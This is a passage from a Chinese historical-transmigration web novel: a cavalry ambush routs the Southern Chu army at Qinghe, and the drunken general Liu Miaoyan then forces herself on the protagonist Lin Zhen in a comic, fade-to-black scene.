不,那不是乌云! 而是大批穿着黑色铠甲的骑兵! 他们手持各种兵器,肩扛大旗,发了疯那般朝南楚攻城队伍冲杀而来。 “竟真的是骑兵......”项英喃喃自语,同时又有几分羡慕。 如果说大乾什么最令他恐惧? 当然就是那无往不利的骑兵。 如果说他身为大帅最想得到的队伍是什么? 肯定也是骑兵! 南楚多战船,少战马。不像北方战马极多,而且多年来大乾又不许战马出口,南楚想用钱买都买不到,只能与距离较远的秦国做贸易。 但秦国也不是傻子,每年只允许出口五十匹战马,严文豹那匹马是秦国送过楚霸天的生日礼物,后来楚霸天又赏赐给严文豹,就是喜欢这个男人能给大楚开疆拓土。 可世事无常,这匹马第一次出门作战就被刘妙颜戳瞎了眼睛。 废了。 当然,这些都不重要。 重要的是,现在南楚的士兵正在前赴后继地攻城,根本没有形成抗骑兵的有效保护,一旦被骑兵冲阵,那后果不堪设想啊! “大帅!收兵吧!乾国的骑兵来了!”项英回头看去,发现竟不是邹仁彪,而是他的师爷。 师爷没有品级,是花钱雇来的。 这位师爷虽然平时话不多,但只要说话就必定是正确的。 两人合作多年,也验证了这一点。 但项英还是不甘心。 这眼看着就要拿下清河县了啊。 “可是...就算退兵也损失极重!” “大帅,战争不在于一城一地的得失,损失些兵马不算什么。可如果继续攻城,骑兵将会把我们撕成碎片,我们这点兵力就全没了!” “不!本帅看那骑兵也不过一万尔尔,而我手下却十五万将士,有何惧怕?” “大帅!为将者不能冒这个险。再说,这只是一路骑兵,若再有一路进攻我们大本营怎么办?到时候我们就退无可退了!” “妈的。”项英骂了一句。 他也想收兵。 但此刻已经有近十万人扑向清河县,哪是说收就能收回来的? 更何况现在收兵那就属于是败兵,而兵败如山倒! 届时将会损失惨重!很可能会导致后续无力再战! 而他自己也要领战败的责任。 项英决不允许自己一声英明毁于一旦! 师爷焦急道:“大帅!不能犹豫了,是进是退必须要下命令了!” “来人!命令部队组成枪阵,抗击骑兵!” “什么!??”师爷都懵了。 大帅这是要拼命了呀! 可是......现在所有将士都在准备攻城,仓促之间能组成有效抵抗吗? 就算部队真的反应迅速,组成了枪阵,但这批骑兵少说也有一万,你拼得过吗? “大帅!” “休得再言!胜败在此一举,老夫绝不能输给林震仙,现在又输给他孙子!十五万对两万,优势在我!” “这...唉......”师爷叹了口气。 ...... 清河县城下。 实际上周泽率领着三卫中的所有骑兵,共计三万,兵分四路,顺着东西南北四个城门穿插冲锋南楚的进攻士兵。 所过之处,南楚士兵鬼哭神嚎,抱头鼠窜,如摧枯拉朽。 那些可怜的南楚士兵根本想不到乾国居然有埋伏的骑兵,所以携带的装备都是攻城用的,现在被骑兵一冲,打得丢盔卸甲,狼狈不堪,很多士兵都是直接扔掉兵器往河对岸跑,部分士兵为了保命更是跪下投降。 周泽率领一万骑兵突袭进攻最厉害的南城门。 严文豹被刘妙颜戏弄了一番,失去战马,此刻怒火中烧。 见周泽手持长刀,策马而来,当即迎了上去! “组成枪阵,抵抗骑兵!!” 呼呼啦啦—— 所有手持长枪和盾牌的南楚士兵立刻挡在攻城队伍的最前面,人躲在盾牌后面,把长枪举的高高的。 虽然这样可以减缓骑兵冲锋的速度,但终究是人数少,力量弱,周泽一骑当先越过盾牌,喝骂一声:“纳命来!” 随即手中大刀向后劈砍。 “咔嚓——” 前排四五名士兵立刻被劈成两截。 后面的骑兵顺着口子冲锋而至,纷纷杀入南楚士兵阵型当中。 乱套了。 彻底乱套了。 这一万骑兵就好像是割韭菜的镰刀,冲进人群左劈又砍,杀的南楚士兵惨叫连连,没有一丁点还手之力。 周泽更是勇武,一把大刀刷的虎虎生风,不断将敌人的脑袋砍飞。 严文豹看到这一幕如何能忍? 当即砍死一名乾国骑兵,抢走他的战马,向周泽大喊道:“我乃扬州严文豹!贼将何人!?” “我乃广阳周泽!看刀!!”周泽同样大喝一声朝严文豹冲了过去。 斩将向来都是大功一件! 同时严文豹也希望能够斩杀眼前这个敌将,来稳住局面。 于是他咬紧牙关,拍马向前,两人相对冲锋,几乎同时站在马背上,抡起长刀。 叮—— 火花四溅。 周泽与严文豹双双落马,由马战转变为陆战,在刀光剑影之间打得你来我往,不亦乐乎! 只可惜,主将虽勇,却难当溃败之势。 严文豹在最前面与周泽厮杀,其余南楚将士被骑兵冲乱了阵脚,纷纷开始往河对岸逃去。 这下林臻这边爽了。 因为骑兵的加入,四座城楼压力大减,而他自己也不再需要亲自动手,而是站在刘妙颜身后仔细观察敌情。 按照原来的计划,还要有一支骑兵冲到河对岸劫营,可为什么还没有动静呢。 他刚要发问,便被刘妙颜凶巴巴的打断。 “颜颜。” “不许你这么叫我!” “......刘妙颜同志,请你回答,还有一支劫营的骑兵去哪了?为何还不出现!” 刘妙颜翻了个极其好看的白眼:“那支骑兵是陈宵带的,我怎么知道?” 林臻站在她身后,脑袋又与她平齐,突然发现刘妙颜的眼睫毛长而浓密,像蝴蝶的翅膀忽闪忽闪的。 他不仅想起后世的一个段子。 某某美女想要找个身高一米八,同时有八块腹肌的男大学生抱抱。 后来这就成了某些女性群体的择偶标准。 但林臻现在觉得,同样一米八的女大将军貌似也不错。 而且他认为,刘妙颜是绝对的八块腹肌。 只是他不敢摸。 这娘们说动手就动手,万一一嘴巴把自己抽城楼下面去......得不偿失。 “你看什么看!没看过啊?”刘妙颜好像后脑勺长眼睛了,发现林臻不轨的目光后立刻回眸喝问,林臻摸了摸鼻子,转移话题。 “陈宵不是天武卫的吗?” “他被王爷派来帮你了。” “既然是帮我的,为何不服从我的命令?到现在还不出现?” “我再说一遍,我不知道!但是陈宵的性格你肯定也听说过,他连王爷的命令都不服从,更别说你一个花心大萝卜!” 林臻默默的点了点头。 想要用自己的威严震慑这帮大将军,想来还有很长的路要走。 此刻南楚士兵没有选择继续攻城,而是转而向下,忙着对付骑兵。 却见除了少部分被包围圈捆住的骑兵外,周泽率领的其他骑兵已经冲出南楚战阵,与从东门来的骑兵交汇,直奔城北。 而从东门过来的骑兵再次开始冲阵! “杀啊!!!” 夸夸夸—— 马蹄践踏的声音传来,南楚好不容易才形成的包围圈再次被冲散。 骑兵们如虎入羊群那般,杀得南楚士兵狼狈而逃,丢盔卸甲,最后一鼓作气冲出去包围圈。 紧接着是北门的骑兵,西门的骑兵,接连冲锋。 最后所有骑兵都冲锋过一次之后,汇聚在东面的山坡上休息,等鼓声响起,再次冲锋。 林臻说过,要充分发挥骑兵的优势。 而其优势就在于冲锋! 成千上万的骑兵一起冲锋,其威势不亚于导弹,任何敢挡在前面的敌人都会被撕成碎片。 失败已成定局,南楚士兵再也无心攻城,如潮水般向后方大营撤去。 林臻站在城楼上,第一次领悟到什么叫兵败如山倒。 上千人参加的马拉松他见过,但是就是没见过几万人一起逃命的。 太震撼了。 最后,城楼下除了满满登登的尸体以外,就只剩下周泽与严文豹打得火热。 林臻指着严文豹说道:“那人是谁?怎么这么厉害?” 刘妙颜不搭理他。 刚刚的暧昧让她脸蛋绯红,很不适应,于是身边的士兵回应道:“回世子,那是南楚有名的战将,严文豹。” “他跟杨文平什么关系?” “额......这个末将不知。” 刘妙颜这个时候吐出四个字:“同辈表亲。” “哦~”林臻恍然大悟,看向刘妙颜那几乎与自己平齐的脸颊:“你能打得过他吗?” “呵,不过一插标卖首的鼠辈尔。” “嘶......” 林臻心说这个词怎么听着这么熟悉呢? 关二爷附体了? 罢了,不管了,现在是打仗,没工夫计较太多。 “你立刻出城帮助周泽,最好活捉了此人。” “我凭什么听你的?” 林臻气的直跳脚,但也只是无能狂怒而已。 面对刘妙颜,他是打也打不过,说又说不听。 “我是主帅!你必须听我的!我现在命令你下去支援!” 见林臻上蹿下跳像猴子似的,刘妙颜嘴角勾起一丝绝美的弧度。 只可惜,林臻并没有看到。 只听见前方的美人冷哼一声,没说答应,也没说不答应,提着长枪走下城楼。 因为毛梦极把守的南城门根本没有南楚士兵敢靠近,现在敌军退去,更是没有一个人影。 毛梦极站在巨大的八牛弩架子上咧嘴大笑。 斩杨文平,守城胜利,击溃南楚。 此战过后,他必定是扬名立万,出任个杂号将军或者中郎绰绰有余。 刘妙颜牵过战马,对上面的毛梦极一抱拳,大有高手下山的意思。 毛梦极立刻回礼,刚要发问,就见刘妙颜已经翻身上马,飞跃出去。 之所以是飞跃,因为城门洞里有南楚的攻城槌和垒成小山的尸体。 战马跨域山峦,冲出城门。 “周泽将军退下,看我斩他!” 第245章一招没出啊,就被人戳瞎双眼 场中,周泽的大刀撑在地上,单手扶着膝盖,累得气喘吁吁。(两本书的章节发混了,另外一本书想修改却因为字数超限,没办法修改,请审核大大驳回另外一本书的重复章节可以吗?) 十几个回合的打斗,就算是铁人也扛不住。 别信那些小说里的情节,动不动就三百回合、五百回合,那是古人喜欢夸张的修辞手法。 真正的战场是你来我往,我进你退,来来去去才算一个回合。 三百回合,估计得从天黑打到天亮去。 周泽虽然大喘气,但目光还是颇为赞赏地看着眼前同样满头大汗的严文豹。 “好小子,有点本事!只可惜助纣为虐。” 严文豹不屑地道:“哼,笑话,若不是你那小将伤了我的马,你以为你能在我手底下走几个回合?” 说起马来严文豹就有些心疼。 那可是陛下赏赐的战马啊!一招没出啊,就被人戳瞎双眼。 周泽也是不服输的主,拔出长刀。 “大言不惭!我们再来!” 严文豹显然不想恋战。 经过几轮骑兵的冲锋,南楚的士兵已经全部溃散而逃,正面战场已经没有站着的士兵了。 除了他自己。 适才他眼睁睁看着将士们如潮水般争先恐后地往后跑,他虽然身为将领,但在这种情况下就算杀几个人来震慑也没有丝毫用处。 想到这,他已经心生退意。 战死在这里也没有用,战败也不是自己的责任。 还是先退回去另作打算吧。 然而此时,刘妙颜在两人身后突然娇声呐喊:“周将军退下,看我斩他!” 周泽担心她受伤,连忙大喊:“颜颜,不可冲动,这厮很厉害!” “看枪!”刘妙颜连林臻的命令都不听,岂会管周泽的话? 她骑在马上英姿飒爽,手中长枪向前突刺。 严文豹举刀荡开,回手抡圆了瞄准刘妙颜胯下战马。 奶奶的。 你杀我的马,我也杀你的马。 从此咱俩都是没马的人! 然而那战马与刘妙颜心意相通,双腿用力夹紧马腹,让前蹄高高抬起,不仅躲开严文豹这惊天一刀,更是在下落的瞬间踢中他的手腕。 当—— 严文豹没想到还有这招,手中长刀立刻脱落,刘妙颜将枪尖甩到身后,用枪身狠狠砸中严文豹的头盔。 砰—— 头盔瞬间飞走,而严文豹也眼前一黑,晕倒在地。 刘妙颜用枪指着他说道:“抓起来!” “卧槽!牛逼!”周泽见严文豹三招被擒,震惊得无以复加,“颜颜,你带五千人负责将这群俘虏押解回城,其余人,随我冲啊!!” “杀啊!!” 周泽再次上马,挥舞长刀,带领所有骑兵追杀而去。 而河岸对面,项英看着那不断退回来的败兵气得大吼。 “站住!后退者死!” 没有人听他的话,南楚士兵像惊弓之鸟般向后面逃窜,一个个脸色惨白,惊慌失措,哪里还有半分勇武之气? 项英气得库库砍死两个,依旧没能制止住溃败的局面。 “为什么!!为什么!!” “我十五万大军竟然攻不下清河!” “大帅!快走吧!对面的骑兵已经追过来了!再不走就没机会了,您是主帅,您不能被俘!” 项英看着黑压压一片骑兵朝自己奔来,甚至他可以看到那些士兵脸上狰狞的笑容。 那些被追上而后惨死的大楚士兵,在他们眼中就不是人,而是会跑的军功章! 不少士兵都是杀人之后还把脑袋割下来,用头发打个发髻挂在自己马上,然后又冲锋而来。 你们把我江南儿郎都当成什么了? “林臻!!!老夫誓要食汝肉寝汝皮!”项英还骑在马上无能狂怒,却见师爷拉了他一把。 “大帅,快走!” “撤!!” 项英一声撤,最后守备大营的士兵也立刻向后跑去。 说时迟那时快,就在数万人集体转向的瞬间,地面再次传来强烈震颤。 项英抬头看去,就见不知什么时候已经有一支骑兵来到了南楚大营后面! 此刻正发了疯似地朝他们狂奔而来。 而那领头之人,不是陈宵,又是何人? 一个士兵满脸是血地跑过来,单膝跪地。 “大帅!我们大营被偷袭了!” 项英眼珠子都快瞪出来了:“什么!?怎么会这样?” “不知道啊,突然就有大批骑兵出现在我们后方,现在正朝着营帐来呢,你快跑吧!” “噗!” 士兵好心好意过来劝,结果被项英一剑攮死。 “动摇军心者!杀无赦!” “传我的命令!所有将士立刻回防,务必把这股不知死活的骑兵给本帅干掉!” 他喊得用力,可是根本没人听他的。 这时一阵声嘶力竭的呼喊再次传来,一名士兵跌跌撞撞跑到近前,噗通一声跪下。 “大帅!!那骑兵太猛了,我们根本拦不住他!” “什么?废物!!饭桶!”项英气得真想拔剑砍人。 但现在这个节骨眼就算砍人也没有意义了,必须要想办法阻止这股骑兵,否则这点兵力都被他祸害了! “传我的命令......” “报!!大帅,骑兵已经突破我们防守,正奔您这边来呢!” “啊?” 这也太快了吧? 项英整个人都懵了。 他完全想不通,这股骑兵为何进攻得如此之快? 难道说我那些兵马都是纸糊的不成? 就在他进退两难,犹豫不决的时候,林臻看准时机,大喊道:“擂鼓!!全军出击!” “是!” “咚咚咚咚——” 鼓声传来,周泽冲在第一线,直奔项英。 “杀!!!” 两万骑兵爆发出一阵狰狞的呐喊,纷纷驾马跟着周泽冲锋。 那些两条腿的南楚士兵哪里跑得过骑兵? 要不就是被追上砍死,要不就是中箭身亡。 更有甚者想要跪地乞降,却被无数战马踏成肉泥。 兵败如山倒。 南楚士兵们丢掉兵器,铠甲,头盔,撒丫子逃跑,只怪爹娘少生了两条腿。 项英最惨。 他本来骑术不错,可是惊慌失措下竟无法控制战马,跑得跌跌撞撞。 周泽在后面大喊:“那个穿红袍的就是项英,抓住他,重重有赏!” “杀!!” 士兵们疯狂了。 这可是敌方主帅,抓到他,起码官升三级! 项英吓得赶紧就把红袍解开。 周泽又喊:“戴金冠的是项英,杀!!” 项英无奈,只好用匕首将金冠割掉。 头发瞬间披散下来。 周泽又喊:“骑白马的是项英!!” 这回项英可没办法了。 整支队伍里就他骑的是白马! 总不能把马扎死吧?那他还怎么跑啊! “周泽!!这一笔老夫记下了!!” “哈哈哈哈哈!”周泽在后面哈哈大笑。 正对面,陈宵的队伍也接踵而至,与后面的骑兵形成夹击之势。 ...... “世子威武!!” “世子威武!!” “世子威武!!” 负责守城的将士全部单膝跪地,围着林臻大喊威武。 刘妙颜更是手持长枪站在他不远处,目光从不屑,变得带着几分欣赏。 这才是自己看上的男人。 曾经那个纨绔根本不配让自己喜欢。 林臻拔出长剑,指向天边渐渐泛起的白肚皮,喊道。 “将士们威武!” “传我的命令,好酒好肉都拿出来,大庆三日!” “芜湖!!” 将士们欢欣鼓舞,林臻则是在毛梦极的搀扶下回到府衙。 清河县内,军民一家亲,许许多多的百姓都把家里的存粮、存货拿出来献到军营里与战士们一起分享胜利的喜悦。 清河县唯一的大族孟氏,更是由老族长亲自登门致谢,还给林臻带来很多好东西。 像金银玉器,黄金白银,布匹绸缎等等。 这些东西林臻都不缺,但是孟家的一番心意,他便没有拒绝,与族长寒暄几句,这才知道。 这孟令威竟是慕容嫣爷爷统治时期的礼部尚书,后来因错误被贬谪到清河,此后便一直在这生活。 清河县令孟尝,就是他孙子。 “世子,老朽愿意将全部家产都拿出来犒赏守城将士,您看如何?” “老先生既有这份心,便如你心意吧。” 刘妙颜坐在林臻右手边,与毛梦极一起。 见到林臻大口喝酒大口吃肉的样子,真是怎么看都看不够。 以前林臻文文弱弱的,一巴掌拍下去得躺半个月,现在竟成长为一方主帅,还真是造化弄人呢。 刘妙颜不知不觉,竟看得呆了。 第246章白白的,黏黏的,带着些许沉淀 林臻注意到刘妙颜赤裸裸的目光,摸了摸鼻子,竟难得的老脸一红。 “我脸上有花啊?” “有眼屎。” “......” 林臻还能说什么呢?面对如此直白的话他只能下意识地抠了抠眼角。 但是并没有抠出来什么。 林臻还假模假样地弹了弹指甲缝,一副百无聊赖的样子。 孟令威一大把年纪被这两人弄得有些尴尬,笑了笑便站起身对林臻作揖。 “世子,此间无事,老朽便退下了。” “嗯,孟老好走。” 林臻也没说起身送送,好像巴不得这老东西走一样。 其实像他这样的身份送不送都和礼数无关,毕竟孟令威的地位与他相差太多了,若真要送,孟令威也不敢应。 其次林臻觉得他们俩以后应该也不会有太多的交集。 孟令威是犯官,被贬谪到清河县,如果不出意外,数代都很难再有机会翻身。 因为上面的官员会查看你家里的情况。谁的成分不好,或者家里某人犯过错误,那其子弟想晋升就会很困难。 不过在林臻看来,他孙子孟尝倒是个有能里的人,任职清河县县令多年,不仅治理的井井有条,百姓更是风评其秋毫无犯,是个真正守护一方百姓的父母官。 拜火教在各地流窜的时候,也是这个县受伤害程度最低,基本没有被洗脑的官员、百姓,政治立场很坚定。 再者,毛梦极被派遣过来之后,孟尝更是全程配合,没有一丝怨言,就差把县令的位置让出去了。 这样聪明懂事又知道关心百姓的县令,往上提拔提拔也并无不可,正好河间郡太守彭齐被自己弄死了,让他顶上去正合适。 这么一想,可能刚才孟令威亲自过来送礼物、敬酒,也有这个意思。 就算成人之美吧。 这次守城,县令孟尝功不可没,推举为河间太守慕容嫣也会同意。 当然,她不同意也得同意。 敢不同意屁股打成八瓣! 刘妙颜见林臻不说话,顿时心情有些低落。 她把发冠解开,一头乌黑浓密的长发如瀑布般倾泻而下,直披到腰间。 林臻的目光看过去,突然想起后世的一个很老的段子。 待我长发及腰,少年娶我可好? 那时候林臻还搞怪呢,在下面评论说:待你长发及腰,我必咔嚓一刀。剪死你们这些恋爱脑。 现在...... 刘妙颜没注意到林臻的目光,她坐在软垫上,单腿盘膝,另支腿伸到桌子下面,又因为腿太长伸不直,成一个正三角形,手腕搭在膝盖上,头发披散下来遮住她极其耐看的侧颜。 林臻就算不看也知道,这妮子一定在怀揣着心事,盯着酒盏。 果然,几秒过后刘妙颜拿起酒盏,仰起头,自顾自的干了一杯,随后咚的一声放在桌子上。 十分飒爽。 “看什么看?我脸上有花啊?” 原来刘妙颜已经注意到了林臻的目光,像他一样反问。 林臻笑道:“呵呵呵,有眼屎。” “......噗咯咯咯咯。”刘妙颜忍了半晌,终是噗嗤一笑。 气氛顿时有些暧昧,刘妙颜大大咧咧的男人性子竟不知该说些什么是好。 林臻也没泡过这样的姑娘,一时间没了主意。 沉默良久,还是刘妙颜打破这股旖旎,问道。 “下一步你打算怎么办?” 林臻喝了口酒,说道:“我已经命令郑三山带领所有步兵南下,想来不许几日,临邑、历城、利津就全是我们的了,如此便控制了黄河入海口。” 刘妙颜立刻回怼:“历城可是南楚楔在北方的一颗钉子,守城军士起码三万,装备精良,粮草充足,仅凭郑三山那几万人能打下来?” 林臻摇了摇头。 “没用,因为只要临邑一破,周泽的骑兵便可以过黄河深入南楚腹地。历城虽然是第一坚城,但很快就会断绝与其他城市的联系变成孤城。我们只要派一部分兵马守住周围村庄与主干道,历城坚持不到入冬,就会因饥饿而开城投降。” 刘妙颜第一次见林臻有观天下大事如观小儿下棋的表情,不屑地撇撇嘴。 吹吧。 吹牛谁不会啊。 林臻见她那副嗤之以鼻的表情就知道她不信。 “别不信,南楚虽然强盛,但地理位置决定了他们多战船,少战马。而我们的优势又是骑兵,速度快,机动性强,在长江以北是绝对无敌的存在。” “骑兵又不能攻城,就算深入南楚又能如何?” “骑兵当然不是用来攻城的,但是他可以为后续步兵提供必要的保护,可以断绝后方粮道,可以围点打援,甚至可以突袭南楚的重镇,然后打一波就跑,让南楚抓又抓不到,不管又不行。” 林臻甚至可以想象到楚霸天那气恼的样子,不禁笑笑,又干了杯酒。 刘妙颜拿起酒坛子起身,走到林臻身边坐下,酒坛子咚的一声放在面前小案几上。 “别自己喝啊,有种咱俩喝。” “什么叫有种?意思是我不喝就证明我没有种?” “我...你少给我咬文嚼字的,喝还是不喝?” “当然要喝,说起喝酒,整个大乾我还没怕过谁呢。”言罢林臻拿起酒坛子就要往酒盏里倒,刘妙颜却一把抢过来。 “看你那没出息的劲儿!”说完一仰头,张大了嘴,酒坛子高高举起,里面的酒液倾泻而下。 林臻看得真切,那白白的,黏黏的,带着些许沉淀与块状物的醪糟,顺着刘妙颜的嘴往下流,直将衣领浸湿,又穿透胸襟。 因为没有穿铠甲,刘妙颜只穿着薄薄的戎装,虽然有动物毛挡住了要害,但林臻还是看到那前胸雪脯之中,有一道深深的沟壑,欢快地沐浴在琼浆玉液之中。 很快,一坛三斤装的醪糟就被刘妙颜喝光了,最后又咚的一声放在小案几上,端得是不拘小节,英姿飒爽。 “嗝~~”刘妙颜打了个酒嗝,“请吧,门下小犬,” 这就是舔狗的意思,林臻也不意外,毕竟以前是因为刘书瑶所以才抛弃了她,她有怨言,有埋怨,也是正常的。 林臻说道:“喝一半扔一多半,算什么能耐?看我的吧,来人!上酒!” 立刻有护卫走进来,抱着两坛子醪糟。 坐在案几上,想说句什么,看到刘妙颜湿身的样子顿时把嘴巴闭上,一溜烟就跑了出去。 妈妈咪啊。 不愧是世子,玩得真花! 林臻比了比自己的酒盏。 “给洒家倒酒。” “切,有能耐你也抱着酒坛子,倒杯里算什么本事?”刘妙颜脸蛋红扑扑的,但明显意识还算清醒,只是她坐得离林臻有些近,说话时呼出来的酒气带着淡淡芳香。 林臻可是禁欲很长时间了,在酒精的刺激下竟有些心猿意马,看向刘妙颜的目光也有几分躲闪。 他下意识地往后坐了坐,拔掉酒坛的封泥,一仰头对准坛口。 “咕嘟!咕嘟!” 刘妙颜那双大眼睛瞬间变得雪亮。 他完全想不到林臻还有这么爷们的一刻。 “咕嘟!咕嘟!” 喝了得有三分钟,林臻才勉强把这一坛子酒灌下去。 顿时就觉得肚子要撑爆了。 这尼玛可是三斤啊。 去了底层的米浆也得有两斤半,一口气灌进肚子,那感觉可想而知。 “嗝~” “有点意思啊。”刘妙颜的赞美之词也不知道从哪学来的,言罢拔掉另外一个酒坛子的封泥,又要喝,林臻连忙按住她。 “等等!” “干什么?” “你先把刚才欠我半坛子酒补上。” “我怎么欠你了?” “废话,喝一半漏一半你当我没看到啊?放眼阜蒙县,谁tm敢差我林臻的酒?” “阜蒙县?哪来的阜蒙县?哈哈哈哈,你一定是喝多了!这是清河县!!”刘妙颜忍不住哈哈大笑,“哈哈哈哈,就你这酒量还敢跟我拼?看着!” 林臻自知说漏了嘴,也不解释,看着刘妙颜仰起头,朱唇檀口贴在边缘。 一点一点,喉咙蠕动着将酒液带入腹中。 然而刚才说得多威武,此刻就有多打脸,刘妙颜只喝了一半不多就把坛子放在案几上,大口大口喘着粗气。 “呼~呼~嘶......” “呵,就知道你们行伍的人喝酒喜欢耍滑。怎么?不服气?继续喝啊!” “哼!” 刘妙颜冷哼一声继续仰脖子猛灌,费了好大的劲才把酒灌进肚子。 “砰!”刘妙颜一把将酒坛子扔出去。 随即身体向后舒缓,双腿从案几下面伸出去,双手在身后撑着身体。 却发现这个姿势还是不够舒服,于是单手解开了裤头纽扣。 小肚子砰的一声变大了几分,这才觉得舒服许多。 “小肚肚露出来了。” 刘妙颜的脸越来越红,但对自己露出来的皮肤却并不在意。 “露就露呗。” “不怕我看?” “你愿意看吗?”刘妙颜连脖子根都红了,但林臻不认为她是羞涩,而是酒气上涌。 众所周知,人一旦喝醉了...... “林臻,你爱过我吗?” 第247章白虎勇士!变身! 林臻没她喝得那么醉,就是有些撑得慌。 听到这样的问话,突然就觉得......琼瑶老师的味道上来了。 甚至林臻都不知道应该如何回答。 说爱过?那纯纯骗人。 以前的林臻就从没喜欢过刘妙颜,甚至很讨厌这个男人婆。 说没爱过?以刘妙颜的性子听完,不是自杀就是杀了自己。 唉。 前身欠下的风流债还得我去还啊。 谁让我占用了人家的身体呢。 林臻经过一番深刻洗脑后,看向刘妙颜。 那双布满深情与疤痕的美眸。 “我......唔!” 林臻刚要说爱过,刘妙颜突然把头伸过来,径直堵住他的嘴。 林臻睁大双眼,大脑一片空白,下意识地想躲避。 刘妙颜却突然伸出手,稳稳掐住了林臻的脖子。 “别动。” “这是你欠我的。” 说完又狠狠吻了上来。 林臻从没有被强吻的经验,只觉这女人好生用力,好像要把自己毛细血管抽干的样子。 喂喂喂,怎么还伸舌头啊! 林臻咬紧牙关,死活不从。 刘妙颜却娇声喝道:“张嘴!” 林臻吓得微微张开嘴,刘妙颜却趁虚而入,将他口腔搅了个天翻地覆。 唉,罢了,伸头缩头都是一刀。 既然你想蹂躏我,那就让暴风雨来得更猛烈些吧。 林臻开始尝试回应,这更让初次拥吻的刘妙颜大受鼓励,她边亲着边爬到林臻身边,迈开长腿坐在林臻肚子上。 “唔!!” 林臻吃痛,险些把刚才喝进去的酒都吐出来。 刘妙颜却丝毫不嫌弃,也不停止,继续肆意征伐。 “世子。”毛梦极低头查看着账目从门外走进,突然!一个酒坛子飞了过来。 他赶紧闪身躲避。 啪—— 酒坛子摔得粉碎,毛梦极不解的抬头,便见林臻被刘妙颜亲了个七荤八素,直翻白眼。 “这......” 管还是不管啊? 救还是不救啊? 我...我该怎么办啊? 不行,万一世子有个三长两短,自己也脱不了干系。 这偌大朝廷不能没有他啊! 他迈前一步,喊道:“住嘴!” “滚!”刘妙颜松开嘴巴,眼睛猩红,厉声大骂。 林臻赶紧趁机喘两口气,对毛梦极说道:“梦极,你先出去吧,把门带上。” “是,世子。” 毛梦极也不知道该说什么,只能灰溜溜地走了出去。 刘妙颜攥住林臻的衣领,狞笑道:“呵,算你小子识相!” “颜颜,你听我说。” “我不听!从小到大你骗我骗的还不够吗?今日,不管你说什么我都不会听的!” “我不是那个意思。” “闭嘴!”刘妙颜把头低下来,紧紧贴着林臻的鼻尖。 娇艳欲滴的红唇近在咫尺,两人交换对方的呼吸,像刚刚的拥吻那般缠绵。 “林臻,你为什么负我......”林臻可以清楚感觉到她的情绪波动与那瞬间涌出的酸辛泪水。 这分明是个为爱能付出全部的女人,但却被爱伤害。 今天,借着酒意,她终于说出了她最想说的话,同时也是她最想问的话。 林臻莫名的有些触动,反手搂住她的纤腰,在她唇边一吻。 “从今以后,我永不负你。” “.......” 言罢林臻微微眯起眼睛,盯着她的绝世容颜,缓慢的,深情的吻下去。 然而就在他即将印在爱人心房的刹那,刘妙颜突然一个大嘴巴抽了上来。 “啪!” “我他妈...”林臻当即就被打懵了,捂着脸恼羞成怒地吼道:“你有病吧?你干什么?” “疼么。” “废话!我打你,你不疼?” “疼啊?那太好了。”刘妙颜突然笑靥如花,一把将林臻搂在怀里。 没错,就是搂在怀里! 甚至林臻已经触碰到了她满是酒香的雪脯。 “疼就应该不是做梦,林臻,我们结婚吧!” “你!是不是做梦不应该打你自己吗?” “打我,我多疼啊?” “我......你这个.......喂喂喂,你干什么!” 刘妙颜已经把林臻扑倒在木榻上,双手压住林臻的手腕,让他动弹不得。 “刘妙颜,你给我起来!” 刘妙颜像个欺负小姑娘的大流氓,不怀好意地笑道:“桀桀桀桀,小姑娘,别动,让小爷我好好的香一下!” “香你大爷!给我起来!” 林臻哪里挣得过刘妙颜? 被拿捏得死死的。 “刘妙颜,你不能这么对我,起来!” “我从了你还不行吗?你必须得让我起来,我这样太没有面子了!” “你干什么?别扒我裤头啊!” 刘妙颜哪里会理会林臻的话?十九年清心寡欲早就快疯了,不管不顾,再次吻了上去。 “唔!!” 快来人啊! 白虎勇士变身了! 强强强强......强奸啊!!! ......(最近风紧) 刘妙颜心满意足的趴在林臻胸口上沉沉睡了过去, 林臻则是一脸的生无可恋。 到底还是被强推了。 一世英名毁于一旦。 林臻羞辱的泪水没涌出来,半推半就的龌龊思想也没表露。 想抱着怀里的美人回卧房,却又发现左臂有伤,根本抱不起来。 况且刘妙颜身高一米八,那腿比命都长,因为练武,体重也有一百二三十斤,就算没受伤,想抱起来也是极难的。 罢了,就这么睡吧,睡醒了再说。 林臻刚要动,却发现刘妙颜把自己抱得死死的,双臂极其用力,他微微抬起头,看到它眼角还有尚未干涸的泪水,也不知代表着幸福还是满足。 这一睡,就睡了个昏天黑地。 因为连日征战,精神高度紧绷,不敢有丝毫松懈。 如今放松下来,又趁着酒意与事后的加持,让林臻睡得十分香甜,连个梦都没做。 醒来时,已经是第二天的凌晨。 刘妙颜不知道从哪里弄来个小镜子,摆在案几上,嘴角含笑,一点一点为心爱之人梳理自己的长发,不着片缕。 这一刻的她,小女人味十足。 林臻咳嗽两声,就觉得嗓子眼冒火,刘妙颜倒了杯凉茶递给他。 “给。” 林臻也没管太多,接过来一饮而尽,这才感觉舒服了些。 “喂,林臻,你去给我找件衣服来。” “干什么?” “废话,你给我衣服撕坏了你不管啊?” “那是你自己撕坏的好不好?和我有什么关系?” 刘妙颜抄起镜子,一把要打爆林臻狗头的样子:“你他妈去不去?” “我......得得得,我惹不起你。” 林臻同样什么也不穿地起身走向后堂,从自己的衣橱里拿来两套衣服,走回来丢在刘妙颜身上。 刘妙颜站起来张开双臂。 “你给我穿!” 林臻看着她满脸欣喜期待的样子,又看了看那比慕容嫣小不了多少的雪脯与健美的身材,不由得泼了盆冷水。 “我不会穿衣服。” “那我给你穿!” 林臻没有拒绝。 或许这就是刘妙颜选择的,爱自己的方式。 等一切收拾妥当,林臻才对外面喊道。 “来人!” 吱呀—— 毛梦极顶着两个熊猫眼走了进来。 “梦极,你怎么这副德行?” “唉。”毛梦极未语先叹,“托世子的福,末将已经三天没睡觉了。” “打仗不就打了两天吗?” “世子昨天.......” “噗咯咯咯咯。”刘妙颜噗嗤一笑,丝毫不觉得难为情。 林臻一拍脑门,心说该死该死。 让这位刚正不阿的兄(chu)弟(nan)在门口听了一天一夜的风。 “咳咳,说吧,都有什么事情?” “关于此役守城战的战损已经统计出来了。从前夜开始,我方阵亡将士共计一千七百人,受伤三千四百,其中重伤两千,轻伤一千四,滚木巨石消耗得很快,弓箭和攻城凿还剩一半可用。” “唔,粮草呢?” “粮草足够维持城内士兵的供给,但是郑三山将军带领的步军只有四天的粮草......”说到这毛梦极顿了顿,“这已经过去一天了......” 林臻老脸一红。 “行吧,粮草不用担心,项英为了这次大战把粮草全屯在了临邑,让郑三山自己去拿便是,周泽呢?” 